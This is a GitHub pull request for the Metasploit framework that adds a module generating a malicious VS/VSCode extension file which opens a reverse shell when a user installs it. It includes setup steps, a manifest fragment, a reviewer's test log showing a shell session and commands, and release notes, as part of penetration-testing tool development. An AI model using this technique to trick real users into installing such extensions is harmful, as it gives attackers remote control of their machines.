Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Visual Studio Malicious Extension Module #18996

Merged
3 commits merged into from
Apr 19, 2024
Merged

Visual Studio Malicious Extension Module #18996

3 commits merged into from
Apr 19, 2024

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Mar 22, 2024

This PR adds a new exploit that creates a malicious vsix file. a vsix file is a VS and VSCode extension file. Once installed, the user's computer will call back with a shell. It's not a bug, its a feature!

I opted for a node payload since thats what VSCode is running, plus its OS agnostic. Win Win. Currently you get 2 shells, seems to be something on VSCode's side.

Verification

  • Install VSCode
  • Start msfconsole
  • Do: use exploit/multi/fileformat/visual_studio_vsix_exec
  • Do: set lhost [IP]
  • Do: run
  • In Visual Studio, click the extensions button on the left (4 boxes with the top
    right one offset)
  • Click the 3 dots in the new window, select Install from VSIX....
  • Click the extension
  • You should get a shell or two

"version": "#{version}",
"publisher":"#{Rex::Text.rand_name}",
"engines": {
"vscode": "^1.60.0"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just checking, this version is different than the one defined in manifest (1.87.0), does it matter?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

forgot to sync the version numbers. for future traveler notes, I arbitrarily picked 1.60 (August 2021 release date). I don't believe we're calling anything special (APIs and such) so this should work on many older versions.

@jheysel-r7 jheysel-r7 self-assigned this Apr 16, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the module @h00die. Nice and straight forward, worked smoothly first try.

Ubuntu 22.04 with code_1.87.2-1709912201_amd64.deb

msf6 >  use exploit/multi/fileformat/visual_studio_vsix_exec
[*] Using configured payload nodejs/shell_reverse_tcp
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > set lport 5989
lport => 5989
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > exploit

[*] Started reverse TCP handler on 172.16.199.1:5989
[+] extension.vsix stored at /Users/jheysel/.msf4/local/extension.vsix
[*] Waiting for shell
[*] Command shell session 1 opened (172.16.199.1:5989 -> 172.16.199.131:52334) at 2024-04-16 19:04:03 -0700

id
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
uname -a
Linux msfuser-virtual-machine 6.2.0-35-generic #35~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Oct  6 10:23:26 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Apr 17, 2024
@jheysel-r7 jheysel-r7 closed this pull request by merging all changes into rapid7:master in 27f5ad8 Apr 19, 2024
@h00die h00die deleted the vsix branch April 19, 2024 19:49
@smcintyre-r7
Copy link
Contributor

Release Notes

This adds a new exploit module that creates a malicious VS / VSCode extension file.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

4 participants